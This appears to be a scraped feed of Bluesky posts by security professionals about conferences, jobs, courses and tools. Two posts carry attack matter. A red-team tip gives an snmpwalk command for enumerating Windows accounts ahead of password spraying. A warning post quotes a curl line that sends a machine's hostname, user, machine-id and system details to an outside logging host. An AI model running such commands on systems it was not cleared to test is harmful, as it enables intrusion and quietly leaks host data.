Leo

On my way over to HackSpaceCon! Where I'll be speaking on how to defend ADCS, a service I often exploit in a daily basis! Let me know if you'll be there! Agenda: www.hackspacecon.com#/agenda?day=... #HackSpaceCon #HSC2025 #HackSpaceCon2025

So regarding this behavior: I've confirmed it, and there's more detail than is in the story. Let's go. arstechnica.com/security/202...

You feel it too, right? We're making a direct connection? Even if you're not joining our Valentine Private Network, we've brought enough for the whole class ❤️

Anyone want to hire a threat analyst/security researcher? Haven't been having any luck with the places I've applied to and I'm just past the halfway point of my available unemployment. aneilan.github.io/resume

GAHHH I'm *no* in-the-street activist ^ Bsky help fight the regime by giving us an edit button.

At the airport making my way to Denver! #wildwesthackingfestdenver #wildwesthackingfestmilehigh @wildwesthackinfest.bsky.social

Hi Friends! I accidentally took another break from Social Media 🤣 But I'm back to announce that I'm going to @wildwesthackinfest.bsky.social at Denver! Let me know if you'll be there too! I'm looking forward to it! @antisyphontraining.bsky.social @bhinfosecurity.bsky.social

i want to spend a stupid amount of money on cute/cool things. drop yr favorite small businesses/artists pls 🙏🏼🌱

Not exactly a flower, but this is a picture I took in 2017 with a Moto G Play and it turned out so good that I still have this photo. Hope you're proud of the 2017 leo @hardwaterhacker.bsky.social

Red Teamers: do NOT neglect SNMP like sysadmins usually do! SO many networks have granted me very quick wins through SNMP enumeration, which can be done with Metasploit, snmpwalk, and onesixtyone: Enum Windows accounts (spray?): snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25 #hacking #redteam

Want to help Tailscale build the future of networking? We're hiring on multiple teams right now.

SOON 🥹 and there's still time to register if you're interested 🤓🦖👇

Seriously, watch this - it is hilarious.

Idle thought upon reflecting on the week's tragedy. A community can only claim that title if its members join together in both celebration and tragedy. A true community lightens burdens and amplifies joy. It feeds and heals each other. I feel like the term has been diluted from that meaning.

Tell you a secret about red team #cybersecurity work: Almost everyone wants to pretend to be a red teamer; almost nobody had the willingness to put in the real work to become one.

In 2025 (less than 30 days away), PayPal will start selling your transaction history for targeted advertising. I very highly recommend logging into your account and going to Settings > Data & Privacy > Personalized Shopping. If you're reading this, turn that off RIGHT NOW before you forget.

My team is #hiring again! Looking for a Senior Security Engineer, someone who can help build and expand our cybersecurity infrastructure. Remote US position with preference given to Mountain or Pacific timezones. Requisition: R0029705 #infosecjobs epiqsystems.wd5.myworkdayjobs.com/en-US/Epiq_C...

Another day, another problem solutioned by @tailscale.com its great how you can auto-tag machines if they use a specific auth-key.

I was preparing to pitch an op-ed on the nationwide protests calling for President Yoon's resignation, aiming to provide global context amid the limited international coverage. Given the urgency, I’m sharing it now. I didn’t expect events to escalate this quickly. #SouthKorea #Democracy

There's always been a lot of disagreement over whether the OSCP exam is "entry level" for pentesting specifically. If you fall on the "it's not entry level" side, I'm interested in which parts of the exam you would *not* expect a junior pentester to be capable of doing.

tailscale.com/blog/infra-t... Awesome article by @tailscale.com team. It shows the good stuff that can happen if you take product design security and scalability from the get go. Kudos to the team, and I think at this point I should call myself a fanboy xD I didn't know about setec. That's awesome

Still going on! $10 for a comprehensive guide to getting your lab up and running.

There’s a popular Linux privilege escalation script (linpeas) that’s had a copycat create nefarious linpeas[.]sh. Linpeas (a great tool) has 0 association with linpeas[.]sh (bad) To all pentesters and cybersecurity folks who run tools and scripts as part of their job, be careful Know your tools!

Ruh roh github.com/peass-ng/PEA... "curl -s "http[s]://log.linpeas.sh/?uuid=$(cat /proc/sys/kernel/random/uuid)&id=$(cat /var/lib/dbus/machine-id)&root=$IAMROOT&hostname=$(hostname)&user=$(whoami)&uname=$(uname -a | base64 -w 0)&cwd=$(pwd | base64 -w 0)" > /dev/null 2>/dev/null"

No matter what, don’t give up

Check out this thing I did!

1. Velociraptor rips 2. Whitney and Eric are the best at what they do. Don't miss this opportunity if you have any interest in the material.

A thing that still blows me away about #DFIR work is how otherwise-experienced IT folks think it's highly automated. "Oh you just need to run some scans, right?" No.

God: Anyway I made you these trees with food on them, pretty sweet. Got to go work on another planet. God: Hey I'm back. Wait what the fuck is a Cyber Security Engineer.

Today is a fantastic day to reach out to someone you admire and tell them how they've positively impacted your life. (Not me; I get enough of that already) Feel free to share stories here. #MakeKindnessNormal

Those selfless amazing people working in DFIR are the first responders of the cybersecurity industry. We owe a lot to them. Thank you! 🙏💙

I just created my first starter pack. This one is for women in infosec. Please follow and share, and lmk if you’d like to be added! go.bsky.app/HAGHpCr

Buzz & Boost ft. @shenet.works Each issue features an innovator living life on their own terms, sharing: 🐝 Buzz: 5 game-changing recommendations 🚀 Boost: Their most exciting current project

I'm moved to say this explicitly: @taggartinstitute.org is a safe place for our trans friends. We are an inclusive, welcoming, supportive learning community—with an ironclad CoC. We jump *out* at the first sign of bigotry and forcibly remove it from our space. I can at least promise you that.

This is an awesome starter pack for content creators in Cybersecurity! h/t @insider.phd! go.bsky.app/JFUhCQL

Oh hey did you know I wrote a whole-ass book about setting up Proxmox with Terraform, Ansible, and Packer? taggartinstitute.org/p/the-homelab-almanac

Profile is setup, let's see if I use this app more.

Whenever someone is looking to learn something new in the later stages of life I had issues commending anything but “well YouTube and hope for the best” but now you can have a more guided approach how to learn to learn new things 😍🥰

Hi Bluesky, I'm LeonVQZ from countless platforms. I'm still setting up my account here, checking accounts to follow and so on.

I poured my heart into this one. I really hope you enjoy it!

New Courses This Week! Happy Monday, friends! We're so excited for this week. We're launching not one, but **two** new courses! We're kicking off with a course that @taggart-tech.com has wanted to make for a long, long time. taggartinstitute.org/p/the-learni...